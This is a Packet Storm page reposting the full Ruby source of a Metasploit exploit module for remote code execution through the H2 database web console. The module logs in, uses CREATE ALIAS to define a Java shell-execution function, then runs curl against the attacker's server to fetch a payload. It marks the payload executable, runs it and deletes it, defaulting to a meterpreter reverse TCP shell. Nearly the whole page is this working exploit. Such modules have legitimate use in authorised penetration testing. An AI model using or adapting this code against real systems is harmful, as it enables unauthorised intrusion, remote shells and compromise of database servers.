what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

H2 Web Interface Create Alias Remote Code Execution

H2 Web Interface Create Alias Remote Code Execution
Posted Aug 16, 2023
Authored by h00die, gambler, h4ckNinja, Nairuz Abulhul | Site metasploit.com

The H2 database contains an alias function which allows for arbitrary Java code to be used. This functionality can be abused to create an exec functionality to pull our payload down and execute it. H2's web interface contains restricts MANY characters, so injecting a payload directly is not favorable. A valid database connection is required. If the database engine was configured to allow creation of databases, the module default can be used which utilizes an in memory database. Some Docker instances of H2 don't allow writing to folders such as /tmp, so we default to writing to the working directory of the software. This Metasploit module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails).

tags | exploit, java, web, arbitrary
SHA-256 | 07a91f31f74a5616ef0d92c5c535db18babf8aacc5e32f1b0d759b6219544cc8

H2 Web Interface Create Alias Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'H2 Web Interface Create Alias RCE',
'Description' => %q{
The H2 database contains an alias function which allows for arbitrary Java code to be used.
This functionality can be abused to create an exec functionality to pull our payload down
and execute it. H2's web interface contains restricts MANY characters, so injecting a payload
directly is not favorable. A valid database connection is required. If the database engine
was configured to allow creation of databases, the module default can be used which
utilizes an in memory database. Some Docker instances of H2 don't allow writing to
folders such as /tmp, so we default to writing to the working directory of the software.

This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'gambler', # edb 44422
'h4ckNinja', # edb 45506
'Nairuz Abulhul' # medium write-up
],
'References' => [
[ 'EDB', '44422'],
[ 'EDB', '45506'],
[ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],
[ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']
],
'Stance' => Stance::Aggressive,
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Payload' => {
# likely more, these aren't really used now that we go with a curl
# to retrieve our payload, but leaving here for future travelers
'BadChars' => '"<>;|`\\'
},
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'NOCVE' => ['abusing a feature']
}
)
)
register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'User to login with', '']),
OptString.new('PASSWORD', [ true, 'Password to login with', '']),
OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),
OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),
OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])
]
)
end

def get_jsessionid
vprint_status('Obtaining jsessionid (cookie equivalent)')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'method' => 'GET'
)
return nil if res.nil?
return nil unless res.code == 200

if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/
vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")
return Regexp.last_match(1)
else
return nil
end
end

def login(check_only: false)
page = 'login.do'
if check_only
page = 'test.do'
end
send_request_cgi({
'uri' => normalize_uri(target_uri.path, page),
'method' => 'POST',
'vars_get' => {
'jsessionid' => @jsessionid
},
'vars_post' => {
'language' => 'en',
'setting' => 'Generic+H2+%28Server%29',
'name' => 'Generic+H2+%28Server%29',
'driver' => 'org.h2.Driver',
'url' => datastore['DATABASE'],
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
end

def check
@jsessionid = get_jsessionid

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'method' => 'GET',
'vars_get' => {
'jsessionid' => @jsessionid
}
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'

print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/
print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/
res = login(check_only: true)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'

CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")
end

def send_command(command)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'query.do'),
'method' => 'POST',
'vars_get' => {
'jsessionid' => @jsessionid
},
'vars_post' => {
'sql' => command
}
})
return nil if res.nil?
return nil if res.code != 200

res.body
end

def get_version
version = send_command('SELECT H2VERSION() FROM DUAL;')
# regex likely to break on version upgrades unfortunately
if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}
print_good("H2 Version detected: #{Regexp.last_match(1)}")
return
end
print_error('Unable to detect version')
end

def on_request_uri(cli, _request)
print_good('Received payload request')
send_response(cli, payload.encoded)
end

def exploit
@jsessionid ||= get_jsessionid

res = login
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

if datastore['GETVERSION']
get_version
end

start_service
alias_name = Rex::Text.rand_text_alpha_upper(6..12)
alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|
# escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html
payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"
vprint_status("Saving payload as #{payload_name}")
run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');
CALL #{alias_name}('chmod a+x #{payload_name}');
CALL #{alias_name}('./#{payload_name} &');
CALL #{alias_name}('rm -rf #{payload_name}');"
delete_alias = "DROP ALIAS #{alias_name};"
print_status('Attempting to execute payload retrieval')
send_command("#{alias_function} #{run_alias} #{delete_alias}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close